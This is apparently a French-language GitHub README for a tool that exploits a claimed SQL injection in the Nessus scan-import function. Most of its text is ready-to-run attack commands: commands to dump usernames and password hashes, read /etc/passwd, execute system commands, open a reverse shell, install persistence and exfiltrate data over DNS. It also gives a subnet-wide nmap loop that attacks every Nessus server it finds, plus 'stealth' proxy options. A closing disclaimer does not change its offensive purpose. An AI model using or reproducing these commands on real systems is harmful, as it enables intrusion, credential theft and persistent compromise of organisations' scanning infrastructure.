🛡️ CVE-2026-57588 - Framework d'exploitation par injection SQL Nessus
📋 Table des matières
🔍 Présentation
CVE-2026-57588 est une vulnérabilité critique d'injection SQL découverte dans Tenable Nessus versions 10.12.0 et antérieures. La vulnérabilité réside dans le mécanisme d'analyse XML lors de l'importation des fichiers de résultats de scan .nessus, permettant aux utilisateurs authentifiés disposant de privilèges d'importation d'exécuter des requêtes SQL arbitraires contre la base de données PostgreSQL backend.
⚠️ Détails de la vulnérabilité
🔬 Détails techniques
La vulnérabilité existe en raison d'une désinfection insuffisante des valeurs des balises XML avant leur incorporation dans les requêtes SQL lors du processus d'importation. Un acteur malveillant peut concevoir un fichier .nessus contenant des charges utiles d'injection SQL spécialement élaborées dans des balises XML telles que :
hostname
fqdn
os
system-type
mac-address
netbios-name
Lorsqu'un utilisateur privilégié importe le fichier malveillant, les valeurs non désinfectées sont exécutées contre le backend PostgreSQL, permettant :
- Énumération de la base de données
- Exfiltration de données
- Exécution de commandes
- Accès au système de fichiers
- Installation de persistance
✨ Fonctionnalités
Cliquez pour déplier la liste des fonctionnalités
🎯 Gestion des charges utiles
- 13+ types de charges utiles catégorisés par objectif
- Génération de charges utiles basée sur des modèles
- Création et validation de charges utiles personnalisées
- Validation des paramètres et vérification de la syntaxe
- Vérification de la syntaxe SQL
🚀 Capacités d'exploitation
- Exploitation multi-étapes avec exécution parallèle
- Empreinte (fingerprinting) et énumération de la base de données
- Exfiltration de données avec sélection personnalisée de tables/colonnes
- Exécution de commandes sur le système cible
- Accès et lecture du système de fichiers
- Shell inversé (reverse shell) avec session interactive
- Mécanismes d'installation de persistance
- Injection SQL aveugle temporelle (time-based)
- Injection SQL aveugle booléenne (boolean-based)
- Injection SQL basée sur les erreurs (error-based)
- Requêtes empilées (stacked queries) pour une exploitation avancée
- Exfiltration DNS hors bande (out-of-band)
📊 Rapports et journalisation
- Rapports HTML avec mise en forme professionnelle
- Rapports Markdown pour la documentation
- Rapports JSON pour l'automatisation
- Rapports texte pour une consultation rapide
- Rotation des journaux avec plusieurs niveaux
📦 Installation
🐍 Prérequis
- Python 3.7 ou supérieur
- pip (gestionnaire de paquets Python)
- Git (optionnel, pour le clonage)
🔧 Installation rapide
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
🐳 Installation Docker
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
📦 Installation du paquet
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
🚀 Démarrage rapide
Utilisation de base
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
Aide des commandes
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
💡 Exemples d'utilisation
1. Énumération de base
python3 exploit.py generate -u https://test.com -p enum
Sortie attendue
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
2. Exploitation avancée multi-étapes
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
3. Exfiltration de données
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
4. Shell inversé
# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
5. Exécution de commandes
# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
6. Lecture de fichiers
# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
7. Injection aveugle temporelle
# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30
8. Avec support proxy
# HTTP proxy
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# HTTPS proxy with authentication
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
9. Exécution parallèle
# Run with 8 parallel jobs
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# With custom timeout and retries
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
10. Modes verbeux et silencieux
# Verbose mode (detailed output)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# Quiet mode (minimal output)
python3 exploit.py generate -u https://test.com -p advanced -q
📚 Types de charges utiles
Catégorie : FINGERPRINTING
| Charge utile | Description | Paramètres |
|---|
fingerprint | Empreinte de la base de données | Aucun |
Catégorie : UNION
| Charge utile | Description | Paramètres |
|---|
schema_dump | Extraire le schéma de la base de données | Aucun |
data_exfil | Extraire les données d'une table | table, columns |
Catégorie : TIMING
| Charge utile | Description | Paramètres |
|---|
time_based | Injection aveugle temporelle | delay |
boolean_blind | Injection aveugle booléenne | condition, |
Catégorie : FILE_ACCESS
| Charge utile | Description | Paramètres |
|---|
file_read | Lire les fichiers système | path, offset, length |
Catégorie : COMMAND_EXEC
| Charge utile | Description | Paramètres |
|---|
command_exec | Exécuter des commandes système | command |
Catégorie : REVERSE_SHELL
| Charge utile | Description | Paramètres |
|---|
reverse_shell | Établir un shell inversé | host, port |
Catégorie : PERSISTENCE
| Charge utile | Description | Paramètres |
|---|
persistence | Installer la persistance | Aucun |
Catégorie : ERROR_BASED
| Charge utile | Description | Paramètres |
|---|
error_based | Injection basée sur les erreurs | query |
Catégorie : STACKED
| Charge utile | Description | Paramètres |
|---|
stacked_queries | Requêtes empilées | query |
Catégorie : OUT_OF_BAND
| Charge utile | Description | Paramètres |
|---|
oob_dns | Exfiltration DNS | host, data |
🎯 Scénarios avancés
Scénario 1 : Flux de compromission complet
# Step 1: Enumerate the database
python3 exploit.py generate -u https://test.com -p enum -v
# Step 2: Extract sensitive data
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Step 3: Establish persistence
python3 exploit.py generate -u https://test.com -p persist
# Step 4: Set up reverse shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444
Scénario 2 : Opérations furtives
# Using proxy and quiet mode
python3 exploit.py generate -u https://test.com -p advanced \
--proxy http://127.0.0.1:8080 \
--no-ssl-verify \
-q \
-o stealth_scan.nessus
Scénario 3 : Pipeline de test automatisé
#!/bin/bash
# auto_exploit.sh - Automated exploitation script
TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
# Run all payloads
for payload in enum dump shell persist; do
echo "[*] Running payload: $payload"
python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done
# Generate comprehensive report
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"
Scénario 4 : Évaluation de sécurité d'entreprise
# Network-wide assessment
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
echo "[*] Testing: $target"
python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done
Scénario 5 : Collecte de preuves
# Collect comprehensive evidence
python3 exploit.py generate -u https://test.com -p advanced \
--file /etc/hosts \
--command "systemctl status nessusd" \
--table nessus_users \
--columns username,password_hash,email,last_login \
-v \
--log-file evidence.log
📊 Rapports
Générer des rapports
# Generate all report formats
python3 exploit.py report -i results.json -o report
# Generate HTML report only
python3 exploit.py report -i results.json -o report.html --format html
# Generate Markdown report
python3 exploit.py report -i results.json -o report.md --format markdown
Contenu des rapports
- Informations sur la cible
- ID de session et type de charge utile
- Statistiques d'exécution
- Liste des fichiers générés
- Hachages de fichiers pour l'intégrité
- Journaux d'erreurs (le cas échéant)
- Avertissements et avis de non-responsabilité
🔧 Dépannage
Problèmes courants et solutions
Problème 1 : Erreurs de connexion
# Error: Connection refused
# Solution: Check if Nessus is running and port is accessible
python3 exploit.py generate -u https://test.com:8834 -p enum
# Error: SSL certificate verification failed
# Solution: Disable SSL verification
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
Problème 2 : Erreurs de validation XML
# Error: Invalid XML structure
# Solution: Disable XML validation
python3 exploit.py generate -u https://test.com -p enum --no-validate
Problème 3 : Erreurs de charge utile
# Error: Missing required parameter
# Solution: Check payload requirements
python3 exploit.py validate -p command_exec
# Then provide required parameters
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
Problème 4 : Permission refusée
# Error: Cannot write files
# Solution: Check directory permissions
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
Problème 5 : Problèmes de délai d'attente
# Error: Operation timed out
# Solution: Increase timeout
python3 exploit.py generate -u https://test.com -p advanced --timeout 120
# Or use retries
python3 exploit.py generate -u https://test.com -p advanced --retries 5
🔐 Considérations de sécurité
⚠️ Avertissements importants
- Conformité légale : Utilisez uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test
- Protection des données : Manipulez les identifiants et données extraits avec une extrême prudence
- Environnement isolé : Testez toujours dans des environnements de laboratoire isolés
- Sauvegarde : Sauvegardez toujours les bases de données avant de tester
- Restauration : Restaurez les systèmes à leur état d'origine après les tests
- Documentation : Documentez toutes les activités de test pour la conformité
✅ Bonnes pratiques
- Utilisez des comptes de test dédiés
- Conservez des journaux détaillés de toutes les actions
- Utilisez un VPN/proxy pour l'anonymat lors des tests de systèmes tiers
- Suivez les directives de divulgation responsable
- Sensibilisez votre équipe à la vulnérabilité
📝 Licence
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
🤝 Contribution
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request.
Configuration de développement
# Clone repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
pytest
# Format code
black exploit.py
# Check linting
flake8 exploit.py
📞 Support
Documentation
📄 Journal des modifications
Version 1.0.0 (2026-07-22)
Version initiale
- ✅ Framework d'exploitation complet
- ✅ 13 types de charges utiles catégorisés par objectif
- ✅ Exploitation multi-étapes avec exécution parallèle
- ✅ Validation XML et vérification du schéma
- ✅ Formats de rapport multiples (HTML, Markdown, JSON, Text)
- ✅ Hachage automatique des fichiers et vérification d'intégrité
- ✅ Journalisation professionnelle avec rotation
- ✅ Support proxy pour les opérations furtives
- ✅ Shell inversé avec session interactive
- ✅ Mécanismes de persistance
- ✅ Exécution de commandes et lecture de fichiers
- ✅ Injection aveugle temporelle et booléenne
- ✅ Injection basée sur les erreurs et par requêtes empilées
- ✅ Exfiltration DNS hors bande
- ✅ Support Docker
- ✅ Compatibilité multi-plateforme
⬆ Retour en haut
⚠️ AVERTISSEMENT : Cet outil est destiné UNIQUEMENT aux tests de sécurité ÉDUCATIFS et AUTORISÉS. Toute utilisation non autorisée est ILLÉGALE. L'auteur décline TOUTE RESPONSABILITÉ en cas d'utilisation abusive.